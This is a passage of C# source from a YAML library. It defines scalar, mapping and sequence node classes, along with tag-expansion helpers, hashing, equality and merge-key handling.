YamlNode.DefaultConfig.TypeConverter.ConvertToString(value));\n        }\n        /// <summary>\n        /// Implicit conversion from string to <see cref=\"YamlScalar\"/>.\n        /// </summary>\n        /// <param name=\"value\">Value to be converted.</param>\n        /// <returns>Conversion result.</returns>\n        public static implicit operator YamlNode(double value)\n        {\n            return new YamlScalar(\"!!float\", YamlNode.DefaultConfig.TypeConverter.ConvertToString(value));\n        }\n        /// <summary>\n        /// Implicit conversion from string to <see cref=\"YamlScalar\"/>.\n        /// </summary>\n        /// <param name=\"value\">Value to be converted.</param>\n        /// <returns>Conversion result.</returns>\n        public static implicit operator YamlNode(bool value)\n        {\n            return new YamlScalar(\"!!bool\", YamlNode.DefaultConfig.TypeConverter.ConvertToString(value));\n        }\n        /// <summary>\n        /// Implicit conversion from <see cref=\"DateTime\"/> to <see cref=\"YamlScalar\"/>.\n        /// </summary>\n        /// <param name=\"value\">Value to be converted.</param>\n        /// <returns>Conversion result.</returns>\n        public static implicit operator YamlNode(DateTime value)\n        {\n            YamlScalar node;\n            DefaultConfig.TagResolver.Encode(value, out node);\n            return node;\n        }\n\n        /// <summary>\n        /// Convert shorthand tag starting with \"!!\" to the formal style that starts with \"tag:yaml.org,2002:\".\n        /// </summary>\n        /// <remarks>\n        /// When <paramref name=\"tag\"/> starts with \"!!\", it is converted into formal style.\n        /// Otherwise, <paramref name=\"tag\"/> is returned as is.\n        /// </remarks>\n        /// <example>\n        /// <code>\n        /// var tag = YamlNode.DefaultTagPrefix + \"int\";    // -> \"tag:yaml.org,2002:int\"\n        /// tag = YamlNode.ShorthandTag(tag);               // -> \"!!int\"\n        /// tag = YamlNode.ExpandTag(tag);                  // -> \"tag:yaml.org,2002:int\"\n        /// </code>\n        /// </example>\n        /// <param name=\"tag\">Tag in the shorthand style.</param>\n        /// <returns>Tag in formal style.</returns>\n        public static string ExpandTag(string tag)\n        {\n            if ( tag.StartsWith(\"!!\") )\n                return DefaultTagPrefix + tag.Substring(2);\n            return tag;\n        }\n\n        /// <summary>\n        /// Convert a formal style tag that starts with \"tag:yaml.org,2002:\" to \n        /// the shorthand style that starts with \"!!\".\n        /// </summary>\n        /// <remarks>\n        /// When <paramref name=\"tag\"/> contains YAML standard types, it is converted into !!xxx style.\n        /// Otherwise, <paramref name=\"tag\"/> is returned as is.\n        /// </remarks>\n        /// <example>\n        /// <code>\n        /// var tag = YamlNode.DefaultTagPrefix + \"int\";    // -> \"tag:yaml.org,2002:int\"\n        /// tag = YamlNode.ShorthandTag(tag);               // -> \"!!int\"\n        /// tag = YamlNode.ExpandTag(tag);                  // -> \"tag:yaml.org,2002:int\"\n        /// </code>\n        /// </example>\n        /// <param name=\"tag\">Tag in formal style.</param>\n        /// <returns>Tag in compact style.</returns>\n        public static string ShorthandTag(string tag)\n        {\n            if ( tag != null && tag.StartsWith(DefaultTagPrefix) )\n                return \"!!\" + tag.Substring(DefaultTagPrefix.Length);\n            return tag;\n        }\n\n        #endregion\n    }\n\n    /// <summary>\n    /// Represents a scalar node in a YAML document.\n    /// </summary>\n    /// <example>\n    /// <code>\n    /// var string_node = new YamlNode(\"abc\");\n    /// Assert.AreEqual(\"!!str\", string_node.ShorthandTag());\n    /// \n    /// var int_node1= new YamlNode(YamlNode.DefaultTagPrefix + \"int\", \"1\");\n    /// Assert.AreEqual(\"!!int\", int_node1.ShorthandTag());\n    /// \n    /// // shorthand tag style can be specified\n    /// var int_node2= new YamlNode(\"!!int\", \"1\");\n    /// Assert.AreEqual(YamlNode.DefaultTagPrefix + \"int\", int_node1.Tag);\n    /// Assert.AreEqual(\"!!int\", int_node1.ShorthandTag());\n    /// \n    /// // or use implicit conversion\n    /// YamlNode int_node3 = 1;\n    /// \n    /// // YamlNodes Equals to another node when their values are equal.\n    /// Assert.AreEqual(int_node1, int_node2);\n    /// \n    /// // Of course, they are different if compaired by references.\n    /// Assert.IsTrue(int_node1 != int_node2);\n    /// </code>\n    /// </example>\n    public class YamlScalar: YamlNode\n    {\n        /// <summary>\n        /// String expression of the node value.\n        /// </summary>\n        public string Value\n        {\n            get { return value; }\n            set { this.value = value; OnChanged(); }\n        }\n        string value;\n\n        #region constructors\n        /// <summary>\n        /// Create empty string node.\n        /// </summary>\n        public YamlScalar() { Tag = ExpandTag(\"!!str\"); Value = \"\"; }\n        /// <summary>\n        /// Initialize string node that has <paramref name=\"value\"/> as its content.\n        /// </summary>\n        /// <param name=\"value\">Value of the node.</param>\n        public YamlScalar(string value) { Tag = ExpandTag(\"!!str\"); Value = value; }\n        /// <summary>\n        /// Create a scalar node with arbitral tag.\n        /// </summary>\n        /// <param name=\"tag\">Tag to the node.</param>\n        /// <param name=\"value\">Value of the node.</param>\n        public YamlScalar(string tag, string value) { Tag = ExpandTag(tag); Value = value; }\n        /// <summary>\n        /// Initialize an integer node that has <paramref name=\"value\"/> as its content.\n        /// </summary>\n        public YamlScalar(int value)\n        {\n            Tag = ExpandTag(\"!!int\");\n            Value = YamlNode.DefaultConfig.TypeConverter.ConvertToString(value);\n        }\n        /// <summary>\n        /// Initialize a float node that has <paramref name=\"value\"/> as its content.\n        /// </summary>\n        public YamlScalar(double value)\n        {\n            Tag = ExpandTag(\"!!float\");\n            Value = YamlNode.DefaultConfig.TypeConverter.ConvertToString(value);\n        }\n        /// <summary>\n        /// Initialize a bool node that has <paramref name=\"value\"/> as its content.\n        /// </summary>\n        public YamlScalar(bool value)\n        {\n            Tag = ExpandTag(\"!!bool\");\n            Value = YamlNode.DefaultConfig.TypeConverter.ConvertToString(value);\n        }\n        /// <summary>\n        /// Initialize a timestamp node that has <paramref name=\"value\"/> as its content.\n        /// </summary>\n        public YamlScalar(DateTime value)\n        {\n            YamlScalar node = value;\n            Tag = node.Tag;\n            Value = node.Value;\n        } \n\n        /// <summary>\n        /// Implicit conversion from string to <see cref=\"YamlScalar\"/>.\n        /// </summary>\n        /// <param name=\"value\">Value to be converted.</param>\n        /// <returns>Conversion result.</returns>\n        public static implicit operator YamlScalar(string value)\n        {\n            return new YamlScalar(value);\n        }\n        /// <summary>\n        /// Implicit conversion from string to <see cref=\"YamlScalar\"/>.\n        /// </summary>\n        /// <param name=\"value\">Value to be converted.</param>\n        /// <returns>Conversion result.</returns>\n        public static implicit operator YamlScalar(int value)\n        {\n            return new YamlScalar(value);\n        }\n        /// <summary>\n        /// Implicit conversion from string to <see cref=\"YamlScalar\"/>.\n        /// </summary>\n        /// <param name=\"value\">Value to be converted.</param>\n        /// <returns>Conversion result.</returns>\n        public static implicit operator YamlScalar(double value)\n        {\n            return new YamlScalar(value);\n        }\n        /// <summary>\n        /// Implicit conversion from string to <see cref=\"YamlScalar\"/>.\n        /// </summary>\n        /// <param name=\"value\">Value to be converted.</param>\n        /// <returns>Conversion result.</returns>\n        public static implicit operator YamlScalar(bool value)\n        {\n            return new YamlScalar(value);\n        }\n        /// <summary>\n        /// Implicit conversion from <see cref=\"DateTime\"/> to <see cref=\"YamlScalar\"/>.\n        /// </summary>\n        /// <param name=\"value\">Value to be converted.</param>\n        /// <returns>Conversion result.</returns>\n        public static implicit operator YamlScalar(DateTime value)\n        {\n            YamlScalar node;\n            DefaultConfig.TagResolver.Encode(value, out node);\n            return node;\n        }\n        #endregion\n\n        /// <summary>\n        /// Call this function when the content of the node is changed.\n        /// </summary>\n        protected override void OnChanged()\n        {\n            base.OnChanged();\n            UpdateNativeObject();\n        }\n        \n        void UpdateNativeObject()\n        {\n            object value;\n            if ( NativeObjectAvailable = DefaultConfig.TagResolver.Decode(this, out value) ) {\n                NativeObject = value;\n            } else {\n                if ( ( ShorthandTag() == \"!!float\" ) && ( Value != null ) && new Regex(@\"0|[1-9][0-9]*\").IsMatch(Value) ) {\n                    NativeObject = Convert.ToDouble(Value);\n                    NativeObjectAvailable = true;\n                }\n            }\n        }\n        /// <summary>\n        /// <para>When the node has YAML's standard scalar type, the native object corresponding to\n        /// it can be got from this property. To see if this property contains a valid data,\n        /// refer to <see cref=\"NativeObjectAvailable\"/>.</para>\n        /// </summary>\n        /// <exception cref=\"InvalidOperationException\">This property is not available. See <see cref=\"NativeObjectAvailable\"/>.</exception>\n        /// <remarks>\n        /// <para>This property is available when <see cref=\"YamlNode.DefaultConfig\"/>.<see cref=\"YamlConfig.TagResolver\"/> contains\n        /// an entry for the nodes tag and defines how to decode the <see cref=\"Value\"/> property into native objects.</para>\n        /// <para>When this property is available, equality of the scalar node is evaluated by comparing the <see cref=\"NativeObject\"/>\n        /// properties by the language default equality operator.</para>\n        /// </remarks>\n        [Yaml.Serialization.YamlSerialize(System.Yaml.Serialization.YamlSerializeMethod.Never)]\n        public object NativeObject {\n            get\n            {\n                if ( !NativeObjectAvailable )\n                    throw new InvalidOperationException(\"NativeObject is not available.\");\n                return nativeObject;\n            }\n            private set\n            {\n                nativeObject = value;\n            } \n        }\n        object nativeObject;\n        /// <summary>\n        /// Gets if <see cref=\"NativeObject\"/> contains a valid content.\n        /// </summary>\n        public bool NativeObjectAvailable { get; private set; }\n\n        internal override bool Equals(YamlNode b, ObjectRepository repository)\n        {\n            bool skip;\n            if(! base.EqualsSub(b, repository, out skip) )\n                return false;\n            if(skip)\n                return true;\n            YamlScalar aa = this;\n            YamlScalar bb = (YamlScalar)b;\n            if ( NativeObjectAvailable ) {\n                return bb.NativeObjectAvailable && \n                    (aa.NativeObject == null ? \n                        bb.NativeObject==null :\n                        aa.NativeObject.Equals(bb.NativeObject) );\n            } else {\n                if ( ShorthandTag() == \"!!str\" ) {\n                    return aa.Value == bb.Value;\n                } else {\n                    // Node with non standard tag is compared by its identity.\n                    return false; \n                }\n            }\n        }\n        /// <summary>\n        /// Returns the hash code. \n        /// The returned value will be cached until <see cref=\"YamlNode.OnChanged\"/> is called.\n        /// </summary>\n        /// <returns>Hash code</returns>\n        protected override int GetHashCodeCore()\n        {\n            if ( NativeObjectAvailable ) {\n                if ( NativeObject == null ) {\n                    return 0;\n                } else {\n                    return NativeObject.GetHashCode();\n                }\n            } else {\n                if ( ShorthandTag() == \"!!str\" ) {\n                    return ( Value.GetHashCode() * 193 ) ^ Tag.GetHashCode();\n                } else {\n                    return TypeUtils.HashCodeByRef<YamlScalar>.GetHashCode(this);\n                }\n            }\n        }\n\n        internal override string ToString(ref int length)\n        {\n            var tag= ShorthandTag() == \"!!str\" ? \"\" : ShorthandTag() + \" \";\n            length -= tag.Length + 1;\n            if ( length <= 0 )\n                return tag + \"\\\"\" + \"...\";\n            if ( Value.Length > length )\n                return tag + \"\\\"\" + Value.Substring(0, length) + \"...\";\n            length -= Value.Length + 1;\n            return tag + \"\\\"\" + Value + \"\\\"\";\n        }\n    }\n\n    /// <summary>\n    /// Abstract base class of <see cref=\"YamlNode\"/> that have child nodes.\n    /// \n    /// <see cref=\"YamlMapping\"/> and <see cref=\"YamlSequence\"/> inherites from this class.\n    /// </summary>\n    public abstract class YamlComplexNode: YamlNode\n    {\n        /// <summary>\n        /// Calculate hash code from <see cref=\"YamlNode.Tag\"/> property and all child nodes.\n        /// The result is cached.\n        /// </summary>\n        /// <returns>Hash value for the object.</returns>\n        protected override int GetHashCodeCore() \n        {\n            return GetHashCodeCoreSub(0,\n                new Dictionary<YamlNode, int>(\n                        TypeUtils.EqualityComparerByRef<YamlNode>.Default));\n        }\n\n        /// <summary>\n        /// Calculates the hash code for a collection object. This function is called recursively \n        /// on the child objects with the sub cache code repository for the nodes already appeared\n        /// in the node tree.\n        /// </summary>\n        /// <param name=\"path\">The cache code for the path where this node was found.</param>\n        /// <param name=\"dict\">Repository of the nodes that already appeared in the node tree.\n        /// Sub hash code for the nodes can be refered to from this dictionary.</param>\n        /// <returns></returns>\n        protected abstract int GetHashCodeCoreSub(int path, Dictionary<YamlNode, int> dict);\n    }\n\n    /// <summary>\n    /// Represents a mapping node in a YAML document. \n    /// Use <see cref=\"IDictionary&lt;YamlNode,YamlNode&gt;\">IDictionary&lt;YamlNode,YamlNode&gt;</see> interface to\n    /// manipulate child key/value pairs.\n    /// </summary>\n    /// <remarks>\n    /// Child items can be accessed via IDictionary&lt;YamlNode, YamlNode&gt; interface.\n    /// \n    /// Note that mapping object can not contain multiple keys with same value.\n    /// </remarks>\n    /// <example>\n    /// <code>\n    /// // Create a mapping.\n    /// var map1 = new YamlMapping(\n    ///     // (key, value) pairs should be written sequential\n    ///     new YamlScalar(\"key1\"), new YamlScalar(\"value1\"),\n    ///     \"key2\", \"value2\" // implicitely converted to YamlScalar\n    ///     );\n    ///     \n    /// // Refer to the mapping.\n    /// Assert.AreEqual( map1[new Scalar(\"key1\")], new YamlScalar(\"value1\") );\n    /// Assert.AreEqual( map1[\"key1\"], \"value1\" );\n    /// \n    /// // Add an entry.\n    /// map1.Add( \"key3\", new YamlSequence( \"value3a\", \"value3b\" ) );\n    /// \n    /// // Create another mapping.\n    /// var map2 = new YamlMapping(\n    ///     \"key1\", \"value1\",\n    ///     \"key2\", \"value2\",\n    ///     \"key3\", new YamlSequence( \"value3a\", \"value3b\" )\n    ///     );\n    ///     \n    /// // Mappings are equal when they have objects that are equal to each other.\n    /// Assert.IsTrue( map1.Equals( map2 ) );\n    /// </code>\n    /// </example>\n    public class YamlMapping: YamlComplexNode, IDictionary<YamlNode, YamlNode>\n    {\n        RehashableDictionary<YamlNode, YamlNode> mapping =\n            new RehashableDictionary<YamlNode, YamlNode>();\n\n        /// <summary>\n        /// Calculates the hash code for a collection object. This function is called recursively \n        /// on the child objects with the sub cache code repository for the nodes already appeared\n        /// in the node tree.\n        /// </summary>\n        /// <param name=\"path\">The cache code for the path where this node was found.</param>\n        /// <param name=\"dict\">Repository of the nodes that already appeared in the node tree.\n        /// Sub hash code for the nodes can be refered to from this dictionary.</param>\n        /// <returns></returns>\n        protected override int GetHashCodeCoreSub(int path, Dictionary<YamlNode, int> dict)\n        {\n            if ( dict.ContainsKey(this) )\n                return dict[this].GetHashCode() * 27 + path;\n            dict.Add(this, path);\n\n            // Unless !!map, the hash code is based on the node's identity.\n            if ( ShorthandTag() != \"!!map\" )\n                return TypeUtils.HashCodeByRef<YamlMapping>.GetHashCode(this);\n\n            var result = Tag.GetHashCode();\n            foreach ( var item in this ) {\n                int hash_for_key;\n                if ( item.Key is YamlComplexNode ) {\n                    hash_for_key = GetHashCodeCoreSub(path * 317, dict);\n                } else {\n                    hash_for_key = item.Key.GetHashCode();\n                }\n                result += hash_for_key * 971;\n                if ( item.Value is YamlComplexNode ) {\n                    result += GetHashCodeCoreSub(path * 317 + hash_for_key * 151, dict);\n                } else {\n                    result += item.Value.GetHashCode() ^ hash_for_key;\n                }\n            }\n            return result;\n        }\n        \n        internal override bool Equals(YamlNode b, ObjectRepository repository)\n        {\n            YamlNode a = this;\n\n            bool skip;\n            if ( !base.EqualsSub(b, repository, out skip) )\n                return false;\n            if ( skip )\n                return true;\n\n            // Unless !!map, the hash equality is evaluated by the node's identity.\n            if ( ShorthandTag() != \"!!map\" )\n                return false;\n\n            var aa = this;\n            var bb = (YamlMapping)b;\n            if ( aa.Count != bb.Count )\n                return false;\n\n            var status= repository.CurrentStatus;\n            foreach ( var item in this ) {\n                var candidates = bb.ItemsFromHashCode(item.Key.GetHashCode());\n                KeyValuePair<YamlNode, YamlNode> theone = new KeyValuePair<YamlNode,YamlNode>();\n                if ( !candidates.Any(subitem => {\n                    if ( item.Key.Equals(subitem.Key, repository) ) {\n                        theone = subitem;\n                        return true;\n                    }\n                    repository.CurrentStatus = status;\n                    return false;\n                }) )\n                    return false;\n                if(!item.Value.Equals(theone.Value, repository))\n                    return false;\n            }\n            return true;\n        }\n\n        internal ICollection<KeyValuePair<YamlNode, YamlNode>> ItemsFromHashCode(int key_hash)\n        {\n            return mapping.ItemsFromHash(key_hash);\n        }\n\n        /// <summary>\n        /// Create a YamlMapping that contains <paramref name=\"nodes\"/> in it.\n        /// </summary>\n        /// <example>\n        /// <code>\n        /// // Create a mapping.\n        /// var map1 = new YamlMapping(\n        ///     // (key, value) pairs should be written sequential\n        ///     new YamlScalar(\"key1\"), new YamlScalar(\"value1\"),\n        ///     new YamlScalar(\"key2\"), new YamlScalar(\"value2\")\n        ///     );\n        /// </code>\n        /// </example>\n        /// <exception cref=\"ArgumentException\">Even number of arguments are expected.</exception>\n        /// <param name=\"nodes\">(key, value) pairs are written sequential.</param>\n        public YamlMapping(params YamlNode[] nodes)\n        {\n            mapping.Added += ChildAdded;\n            mapping.Removed += ChildRemoved;\n            if ( nodes.Length / 2 != nodes.Length / 2.0 )\n                throw new ArgumentException(\"Even number of arguments are expected.\");\n            Tag = DefaultTagPrefix + \"map\";\n            for ( int i = 0; i < nodes.Length; i += 2 )\n                Add(nodes[i + 0], nodes[i + 1]);\n        }\n\n        void CheckDuplicatedKeys()\n        {\n            foreach ( var entry in this )\n                CheckDuplicatedKeys(entry.Key);\n        }\n\n        void CheckDuplicatedKeys(YamlNode key)\n        {\n            foreach(var k in mapping.ItemsFromHash(key.GetHashCode()))\n                if( ( k.Key != key ) && k.Key.Equals(key) )\n                    throw new InvalidOperationException(\"Duplicated key found.\");\n        }\n\n        void ChildRemoved(object sender, RehashableDictionary<YamlNode, YamlNode>.DictionaryEventArgs e)\n        {\n            e.Key.Changed -= KeyChanged;\n            e.Value.Changed -= ChildChanged;\n            OnChanged();\n            CheckDuplicatedKeys();\n        }\n\n        void ChildAdded(object sender, RehashableDictionary<YamlNode, YamlNode>.DictionaryEventArgs e)\n        {\n            e.Key.Changed += KeyChanged;\n            e.Value.Changed += ChildChanged;\n            OnChanged();\n            CheckDuplicatedKeys();\n        }\n\n        void KeyChanged(object sender, EventArgs e)\n        {\n            ChildChanged(sender, e);\n            CheckDuplicatedKeys((YamlNode)sender);\n        }\n\n        void ChildChanged(object sender, EventArgs e)\n        {\n            OnChanged();\n        }\n\n        internal override void OnLoaded()\n        {\n            base.OnLoaded();\n            ProcessMergeKey();\n        }\n        void ProcessMergeKey()\n        {\n            // find merge key\n            var merge_key = Keys.FirstOrDefault(key => key.Tag == YamlNode.ExpandTag(\"!!merge\"));\n            if ( merge_key == null )\n                return;\n\n            // merge the value\n            var value = this[merge_key];\n            if ( value is YamlMapping ) {\n                Remove(merge_key);\n                Merge((YamlMapping)value);\n            } else\n            if ( value is YamlSequence ) {\n                Remove(merge_key);\n                foreach ( var item in (YamlSequence)value )\n                    if ( item is YamlMapping )\n                        Merge((YamlMapping)item);\n            } else {\n                // ** ignore\n                // throw new InvalidOperationException(\n                //     \"Can't merge the value into a mapping: \" + value.ToString());\n            }\n        }\n        void Merge(YamlMapping map)\n        {\n            foreach ( var entry in map ) \n                if ( !ContainsKey(entry.Key) )\n                    Add(entry.Key, entry.Value);\n        }\n\n        /// <summary>\n        /// Enumerate child nodes.\n        /// </summary>\n        /// <returns>Inumerator that iterates child nodes</returns>\n        internal override string ToString(ref int length)\n        {\n            var s = \"\";\n            var t = ( ShorthandTag() == \"!!map\" ? \"\" : ShorthandTag() + \" \" );\n            length -= t.Length + 2;\n            if ( length < 0 )\n                return \"{\" + t + \"...\";\n            foreach ( var entry in this ) {\n                if ( s != \"\" ) {\n                    s += \", \";\n                    length -= 2;\n                }\n                s += entry.Key.ToString(ref length);\n                if ( length < 0 )\n                    return \"{\" + t + s;\n                s += \": \";\n                length -= 2;\n                s += entry.Value.ToString(ref length);\n                if ( length < 0 )\n                    return \"{\" + t + s;\n            }\n            return \"{\" + t + s + \"}\";\n        }\n\n        #region IDictionary<Node,Node> members\n\n        /// <summary>\n        /// Adds an element with the provided key and value.\n        /// </summary>\n        /// <exception cref=\"ArgumentNullException\"><paramref name=\"key\"/> or <paramref name=\"value\"/> is a null reference.</exception>\n        /// <exception cref=\"ArgumentException\">An element with the same key already exists.</exception>\n        /// <param name=\"key\">The node to use as the key of the element to add.</param>\n        /// <param name=\"value\">The node to use as the value of the element to add.</param>\n        public void Add(YamlNode key, YamlNode value)\n        {\n            if ( key == null || value == null )\n                throw new ArgumentNullException(\"Key and value must be a valid YamlNode.\");\n            mapping.Add(key, value);\n        }\n\n        /// <summary>\n        /// Determines whether the <see cref=\"YamlMapping\"/> contains an element with the specified key.\n        /// </summary>\n        /// <param name=\"key\">The key to locate in the <see cref=\"YamlMapping\"/>.</param>\n        /// <exception cref=\"ArgumentNullException\"><paramref name=\"key\"/> is a null reference </exception>\n        /// <returns> true if the <see cref=\"YamlMapping\"/> contains an element with the key that is equal to the specified value; otherwise, false.</returns>\n        public bool ContainsKey(YamlNode key)\n        {\n            return mapping.ContainsKey(key);\n        }\n        /// <summary>\n        /// Gets an ICollection&lt;YamlNode&gt; containing the keys of the <see cref=\"YamlMapping\"/>.\n        /// </summary>\n        public ICollection<YamlNode> Keys\n        {\n            get { return mapping.Keys; }\n        }\n        /// <summary>\n        /// Removes the element with the specified key from the <see cref=\"YamlMapping\"/>.\n        /// </summary>\n        /// <param name=\"key\">The key of the element to remove.</param>\n        /// <returns> true if the element is successfully removed; otherwise, false. This method also returns false if key was not found in the original <see cref=\"YamlMapping\"/>.</returns>\n        public bool Remove(YamlNode key)\n        {\n            return mapping.Remove(key);\n        }\n        /// <summary>\n        /// Gets the value associated with the specified key.\n        /// </summary>\n        /// <param name=\"key\">The key whose value to get.</param>\n        /// <param name=\"value\">When this method returns, the value associated with the specified key, if the key is found; \n        /// otherwise, the default value for the type of the value parameter. This parameter is passed uninitialized.</param>\n        /// <returns> true if the object that implements <see cref=\"YamlMapping\"/> contains an element with the specified key; otherwise, false.</returns>\n        public bool TryGetValue(YamlNode key, out YamlNode value)\n        {\n            return mapping.TryGetValue(key, out value);\n        }\n        /// <summary>\n        /// Gets an ICollection&lt;YamlNode&gt; containing the values of the <see cref=\"YamlMapping\"/>.\n        /// </summary>\n        public ICollection<YamlNode> Values\n        {\n            get { return mapping.Values; }\n        }\n        /// <summary>\n        /// Gets or sets the element with the specified key.\n        /// </summary>\n        /// <param name=\"key\">The key of the element to get or set.</param>\n        /// <returns>The element with the specified key.</returns>\n        /// <exception cref=\"ArgumentNullException\">key is a null reference</exception>\n        /// <exception cref=\"KeyNotFoundException\">The property is retrieved and key is not found.</exception>\n        public YamlNode this[YamlNode key]\n        {\n            get { return mapping[key]; }\n            set { mapping[key] = value; }\n        }\n        #region ICollection<KeyValuePair<Node,Node>> members\n        void ICollection<KeyValuePair<YamlNode, YamlNode>>.Add(KeyValuePair<YamlNode, YamlNode> item)\n        {\n            ( (ICollection<KeyValuePair<YamlNode, YamlNode>>)mapping ).Add(item);\n        }\n        /// <summary>\n        /// Removes all entries from the <see cref=\"YamlMapping\"/>.\n        /// </summary>\n        public void Clear()\n        {\n            mapping.Clear();\n        }\n        /// <summary>\n        /// Determines whether the <see cref=\"YamlMapping\"/> contains a specific value.\n        /// </summary>\n        /// <param name=\"item\">The object to locate in the <see cref=\"YamlMapping\"/>.</param>\n        /// <returns>true if item is found in the <see cref=\"YamlMapping\"/> otherwise, false.</returns>\n        public bool Contains(KeyValuePair<YamlNode, YamlNode> item)\n        {\n            return ( (ICollection<KeyValuePair<YamlNode, YamlNode>>)mapping ).Contains(item);\n        }\n        void ICollection<KeyValuePair<YamlNode, YamlNode>>.CopyTo(KeyValuePair<YamlNode, YamlNode>[] array, int arrayIndex)\n        {\n            ( (ICollection<KeyValuePair<YamlNode, YamlNode>>)mapping ).CopyTo(array, arrayIndex);\n        }\n        /// <summary>\n        /// Returns the number of entries in a <see cref=\"YamlMapping\"/>.\n        /// </summary>\n        public int Count\n        {\n            get { return mapping.Count; }\n        }\n        bool ICollection<KeyValuePair<YamlNode, YamlNode>>.IsReadOnly\n        {\n            get { return false; }\n        }\n        bool ICollection<KeyValuePair<YamlNode, YamlNode>>.Remove(KeyValuePair<YamlNode, YamlNode> item)\n        {\n            return ( (ICollection<KeyValuePair<YamlNode, YamlNode>>)mapping ).Remove(item);\n        }\n        #endregion\n        #region IEnumerable<KeyValuePair<Node,Node>> members\n        /// <summary>\n        /// Returns an enumerator that iterates through the <see cref=\"YamlMapping\"/>.\n        /// </summary>\n        /// <returns>An enumerator that iterates through the <see cref=\"YamlMapping\"/>.</returns>\n        public IEnumerator<KeyValuePair<YamlNode, YamlNode>> GetEnumerator()\n        {\n            return mapping.GetEnumerator();\n        }\n        #endregion\n        #region IEnumerable members\n        System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator()\n        {\n            return mapping.GetEnumerator();\n        }\n        #endregion\n        #endregion\n    }\n\n    /// <summary>\n    /// Represents a sequence node in a YAML document.\n    /// Use <see cref=\"IList&lt;YamlNode&gt;\">IList&lt;YamlNode&gt;</see> interface \n    /// to manipulate child nodes.\n    /// </summary>\n    public class YamlSequence: YamlComplexNode, IList<YamlNode>, IDisposable\n    {\n        /// <summary>\n        /// Create a sequence node that has <paramref name=\"nodes\"/> as its child.\n        /// </summary>\n        /// <param name=\"nodes\">Child nodes of the sequence.</param>\n        public YamlSequence(params YamlNode[] nodes)\n        {\n            Tag = DefaultTagPrefix + \"seq\";\n            for ( int i = 0; i < nodes.Length; i++ )\n                Add(nodes[i]);\n        }\n\n        /// <summary>\n        /// Performs application-defined tasks associated with freeing, releasing, or\n        /// resetting unmanaged resources.\n        /// </summary>\n        public void Dispose()\n        {\n            Clear();\n        }\n\n        /// <summary>\n        /// Calculates the hash code for a collection object. This function is called recursively \n        /// on the child objects with the sub cache code repository for the nodes already appeared\n        /// in the node tree.\n        /// </summary>\n        /// <param name=\"path\">The cache code for the path where this node was found.</param>\n        /// <param name=\"dict\">Repository of the nodes that already appeared in the node tree.\n        /// Sub hash code for the nodes can be refered to from this dictionary.</param>\n        /// <returns></returns>\n        protected override int GetHashCodeCoreSub(int path, Dictionary<YamlNode, int> dict)\n        {\n            if ( dict.ContainsKey(this) )\n                return dict[this].GetHashCode() * 27 + path;\n            dict.Add(this, path);\n\n            // Unless !!seq, the hash code is based on the node's identity.\n            if ( ShorthandTag() != \"!!seq\" )\n                return TypeUtils.HashCodeByRef<YamlSequence>.GetHashCode(this);\n\n            var result = Tag.GetHashCode();\n            for ( int i=0; i<Count; i++) {\n                var item= sequence[i];\n                if ( item is YamlComplexNode ) {\n                    result += GetHashCodeCoreSub(path * 317 ^ i.GetHashCode(), dict);\n                } else {\n                    result += item.GetHashCode() ^ i.GetHashCode();\n                }\n            }\n            return result;\n        }\n\n        internal override bool Equals(YamlNode b, ObjectRepository repository)\n        {\n            YamlNode a = this;\n            bool skip;\n            if ( !base.EqualsSub(b, repository, out skip) )\n                return false;\n            if ( skip )\n                return true;\n\n            // Unless !!seq, the hash equality is evaluated by the node's identity.\n            if ( ShorthandTag() != \"!!seq\" )\n                return false;\n\n            var aa = this;\n            var bb = (YamlSequence)b;\n            if ( aa.Count != bb.Count )\n                return false;\n\n            var iter_a = aa.GetEnumerator();\n            var iter_b = bb.GetEnumerator();\n            while ( iter_a.MoveNext() && iter_b.MoveNext() )\n                if ( !iter_a.Current.Equals(iter_b.Current, repository) )\n                    return false;\n            return true;\n        }\n        \n        void OnItemAdded(YamlNode item)\n        {\n            item.Changed += ItemChanged;\n        }\n        void OnItemRemoved(YamlNode item)\n        {\n            item.Changed -= ItemChanged;\n        }\n        void ItemChanged(object sender, EventArgs e)\n        {\n            OnChanged();\n        }\n        \n        internal override string ToString(ref int length)\n        {\n            var t = ( ShorthandTag() == \"!!seq\" ? \"\" : ShorthandTag() + \" \" );\n            length -= t.Length + 2;\n            if ( length < 0 )\n                return \"[\" + t + \"...\";\n            var s = \"\";\n            foreach ( var item in this ) {\n                if ( item != this.First() ) {\n                    s += \", \";\n                    length -= 2;\n                }\n                s += item.ToString(ref length);\n                if ( length < 0 )\n                    return \"[\" + t + s;\n            }\n            return \"[\" + t + s + \"]\";\n        }\n\n        #region IList<Node> members\n        List<YamlNode> sequence = new List<YamlNode>();\n        /// <summary>\n        /// Determines the index of a specific child node in the <see cref=\"YamlSequence\"/>.\n        /// </summary>\n        /// <remarks>\n        /// If an node appears multiple times in the sequence, the IndexOf method always returns the first instance found.\n        /// </remarks>\n        /// <param name=\"item\">The child node to locate in the <see cref=\"YamlSequence\"/>.</param>\n        /// <returns>The index of <paramref name=\"item\"/> if found in the sequence; otherwise, -1.</returns>\n        public int IndexOf(YamlNode item)\n        {\n            return sequence.IndexOf(item);\n        }\n        /// <summary>\n        /// Inserts an item to the <see cref=\"YamlSequence\"/> at the specified <paramref name=\"index\"/>.\n        /// </summary>\n        /// <param name=\"index\">The zero-based index at which <paramref name=\"item\"/> should be inserted.</param>\n        /// <param name=\"item\">The node to insert into the <see cref=\"YamlSequence\"/>.</param>\n        /// <exception cref=\"ArgumentOutOfRangeException\"><paramref name=\"index\"/> is not a valid index in the \n        /// <see cref=\"YamlSequence\"/>.</exception>\n        /// <remarks>\n        /// <para>If <paramref name=\"index\"/> equals the number of items in the <see cref=\"YamlSequence\"/>, \n        /// then <paramref name=\"item\"/> is appended to the sequence.</para>\n        /// <para>The nodes that follow the insertion point move down to accommodate the new node.</para>\n        /// </remarks>\n        public void Insert(int index, YamlNode item)\n        {\n            sequence.Insert(index, item);\n            OnItemAdded(item);\n        }\n        /// <summary>\n        /// Removes the <see cref=\"YamlSequence\"/> item at the specified index.\n        /// </summary>\n        /// <param name=\"index\">The zero-based index of the node to remove.</param>\n        /// <exception cref=\"ArgumentOutOfRangeException\"><paramref name=\"index\"/> is not a valid index in the <see cref=\"YamlSequence\"/>.</exception>\n        /// <remarks>\n        /// The nodes that follow the removed node move up to occupy the vacated spot. \n        /// </remarks>\n        public void RemoveAt(int index)\n        {\n            var item = sequence[index];\n            sequence.RemoveAt(index);\n            OnItemRemoved(item);\n        }\n        /// <summary>\n        /// Gets or sets the node at the specified index.\n        /// </summary>\n        /// <param name=\"index\">The zero-based index of the node to get or set.</param>\n        /// <returns>The node at the specified 